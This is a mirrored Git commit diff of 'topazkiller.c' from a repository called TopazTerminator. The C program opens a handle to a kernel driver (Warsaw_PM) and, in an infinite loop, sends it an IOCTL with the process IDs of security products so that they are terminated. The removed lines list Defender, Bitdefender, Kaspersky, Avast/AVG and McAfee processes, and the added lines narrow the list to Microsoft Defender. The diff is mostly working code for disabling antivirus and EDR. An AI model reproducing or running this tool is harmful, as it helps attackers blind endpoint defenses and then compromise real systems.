admin/ThanniKudam-TopazTerminator
1
0
Fork 0
mirror of https://github.com/ThanniKudam/TopazTerminator synced 2026-06-06 16:54:27 +00:00
Code Issues Packages Projects Releases Wiki Activity

Update topazkiller.c

Browse Source
This commit is contained in:
WaterBucket
2026-01-19 13:25:37 +05:30
committed by GitHub
parent 803499600e
commit 08d19848e7
1 changed files with 21 additions and 43 deletions
Download Patch File Download Diff File Expand all files Collapse all files
topazkiller.c
+21 -43
View File
@@ -2,33 +2,16 @@
#include <tlhelp32.h>
#include <stdio.h>
#include <string.h>
#include <tchar.h>
#define IOCTL_CODE 0x22201C
// #define IOCTL_CODE 0x222020
// AV/EDR process list
const char* PROCESSES[] = {
// Microsoft Defender
"MsMpEng.exe", "MsMpEngCP.exe", "MpCmdRun.exe", "NisSrv.exe",
"SecurityHealthService.exe", "SecurityHealthHost.exe", "SecurityHealthSystray.exe",
"MsSense.exe", "MsSecFw.exe", "MsMpSigUpdate.exe", "MsMpGfx.exe",
"MpDwnLd.exe", "MpSigStub.exe", "MsMpCom.exe", "MSASCui.exe",
"WindowsDefender.exe", "WdNisSvc.exe", "WinDefend.exe", "smartscreen.exe",
// Bitdefender
"vsserv.exe", "bdservicehost.exe", "bdagent.exe", "bdwtxag.exe",
"updatesrv.exe", "bdredline.exe", "bdscan.exe", "seccenter.exe",
// Kaspersky
"avp.exe", "avpui.exe", "klnagent.exe", "klnsacsvc.exe",
// Avast/AVG
"AvastSvc.exe", "AvastUI.exe", "aswEngSrv.exe", "aswToolsSvc.exe",
"avg.exe", "avgui.exe", "avgnt.exe", "avgsvc.exe",
// McAfee
"McAfeeService.exe", "McAPExe.exe", "mcshield.exe", "mfemms.exe",
const char* targetprocess[] = {
"MsMpEng.exe",
"MsMpEngCP.exe",
"WindowsDefender.exe",
"WdNisSvc.exe",
"WinDefend.exe",
NULL
};
DWORD FindProcessIdByName(const char* processName) {
@@ -38,14 +21,14 @@ DWORD FindProcessIdByName(const char* processName) {
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
printf("[!] Failed to create process snapshot (Error: %lu)\n", GetLastError());
printf("[!] Snapshot creation failed\n");
return 0;
}
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hSnapshot, &pe32)) {
printf("[!] Process32First failed (Error: %lu)\n", GetLastError());
printf("[!] Process32First failed, stopped enum\n");
CloseHandle(hSnapshot);
return 0;
}
@@ -79,23 +62,21 @@ int main() {
);
if (hDriver == INVALID_HANDLE_VALUE) {
printf("[!] Failed to open driver \\\\.\\Warsaw_PM (Error: %lu)\n", GetLastError());
printf("[!] Failed to open handle\n");
return 1;
}
printf("[+] Driver initialized successfully! Handle: %p\n", hDriver);
printf("[*] Scanning for target processes...\n");
printf("[+] Driver looaded! Handle: %p\n", hDriver);
printf("[*] target process enum..\n");
// Infinite loop to keep killing processes if they restart
while (1) {
for (int i = 0; PROCESSES[i] != NULL; i++) {
targetPid = FindProcessIdByName(PROCESSES[i]);
for (int i = 0; targetprocess[i] != NULL; i++) {
targetPid = FindProcessIdByName(targetprocess[i]);
if (targetPid != 0) {
printf(" -- Found %s - PID: %lu\n", PROCESSES[i], targetPid);
printf("[*] Killing %s ...\n", PROCESSES[i]);
printf(" Process found %s with PID: %lu\n", targetprocess[i], targetPid);
printf("Trying to kill process - %s\n", targetprocess[i]);
// cp first 4 BYTE of
memcpy(buffer, &targetPid, sizeof(DWORD));
success = DeviceIoControl(
@@ -110,19 +91,16 @@ int main() {
);
if (!success) {
printf("[!] DeviceIoControl failed for PID %lu! Error: %lu\n",
targetPid, GetLastError());
printf("[!] shit, got error\n");
} else {
printf("[+] IOCTL 0x%08X sent for PID: %lu\n", IOCTL_CODE, targetPid);
printf("[+] IOCTL 0x%08X sent\n", IOCTL_CODE);
}
}
}
Sleep(1000);
}
if (hDriver != INVALID_HANDLE_VALUE) {
CloseHandle(hDriver);
printf("[*] Driver handle closed.\n");
}
CloseHandle(hDriver);
printf("[*] Driver handle closed.\n");
return 0;
}